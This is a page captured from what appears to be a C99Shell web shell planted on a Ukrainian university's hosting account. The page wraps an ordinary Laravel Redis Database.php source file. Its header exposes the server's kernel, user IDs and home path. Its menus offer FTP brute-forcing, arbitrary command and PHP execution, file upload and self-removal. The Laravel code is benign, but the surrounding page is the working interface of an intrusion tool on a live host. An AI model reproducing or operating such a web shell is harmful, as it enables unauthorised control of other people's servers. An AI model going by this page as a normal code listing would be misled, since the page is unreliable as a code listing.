!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Redis/   drwxr-xr-x
Free 117.29 GB of 200.55 GB (58.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Database.php (3.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Redis;

use 
Closure;
use 
Predis\Client;
use 
Illuminate\Support\Arr;
use 
Illuminate\Contracts\Redis\Database as DatabaseContract;

class 
Database implements DatabaseContract
{
    
/**
     * The host address of the database.
     *
     * @var array
     */
    
protected $clients;

    
/**
     * Create a new Redis connection instance.
     *
     * @param  array  $servers
     * @return void
     */
    
public function __construct(array $servers = [])
    {
        
$cluster Arr::pull($servers'cluster');

        
$options = (array) Arr::pull($servers'options');

        if (
$cluster) {
            
$this->clients $this->createAggregateClient($servers$options);
        } else {
            
$this->clients $this->createSingleClients($servers$options);
        }
    }

    
/**
     * Create a new aggregate client supporting sharding.
     *
     * @param  array  $servers
     * @param  array  $options
     * @return array
     */
    
protected function createAggregateClient(array $servers, array $options = [])
    {
        return [
'default' => new Client(array_values($servers), $options)];
    }

    
/**
     * Create an array of single connection clients.
     *
     * @param  array  $servers
     * @param  array  $options
     * @return array
     */
    
protected function createSingleClients(array $servers, array $options = [])
    {
        
$clients = [];

        foreach (
$servers as $key => $server) {
            
$clients[$key] = new Client($server$options);
        }

        return 
$clients;
    }

    
/**
     * Get a specific Redis connection instance.
     *
     * @param  string  $name
     * @return \Predis\ClientInterface|null
     */
    
public function connection($name 'default')
    {
        return 
Arr::get($this->clients$name ?: 'default');
    }

    
/**
     * Run a command against the Redis database.
     *
     * @param  string  $method
     * @param  array   $parameters
     * @return mixed
     */
    
public function command($method, array $parameters = [])
    {
        return 
call_user_func_array([$this->clients['default'], $method], $parameters);
    }

    
/**
     * Subscribe to a set of given channels for messages.
     *
     * @param  array|string  $channels
     * @param  \Closure  $callback
     * @param  string  $connection
     * @param  string  $method
     * @return void
     */
    
public function subscribe($channelsClosure $callback$connection null$method 'subscribe')
    {
        
$loop $this->connection($connection)->pubSubLoop();

        
call_user_func_array([$loop$method], (array) $channels);

        foreach (
$loop as $message) {
            if (
$message->kind === 'message' || $message->kind === 'pmessage') {
                
call_user_func($callback$message->payload$message->channel);
            }
        }

        unset(
$loop);
    }

    
/**
     * Subscribe to a set of given channels with wildcards.
     *
     * @param  array|string  $channels
     * @param  \Closure  $callback
     * @param  string  $connection
     * @return void
     */
    
public function psubscribe($channelsClosure $callback$connection null)
    {
        return 
$this->subscribe($channels$callback$connection__FUNCTION__);
    }

    
/**
     * Dynamically make a Redis command.
     *
     * @param  string  $method
     * @param  array   $parameters
     * @return mixed
     */
    
public function __call($method$parameters)
    {
        return 
$this->command($method$parameters);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0244 ]--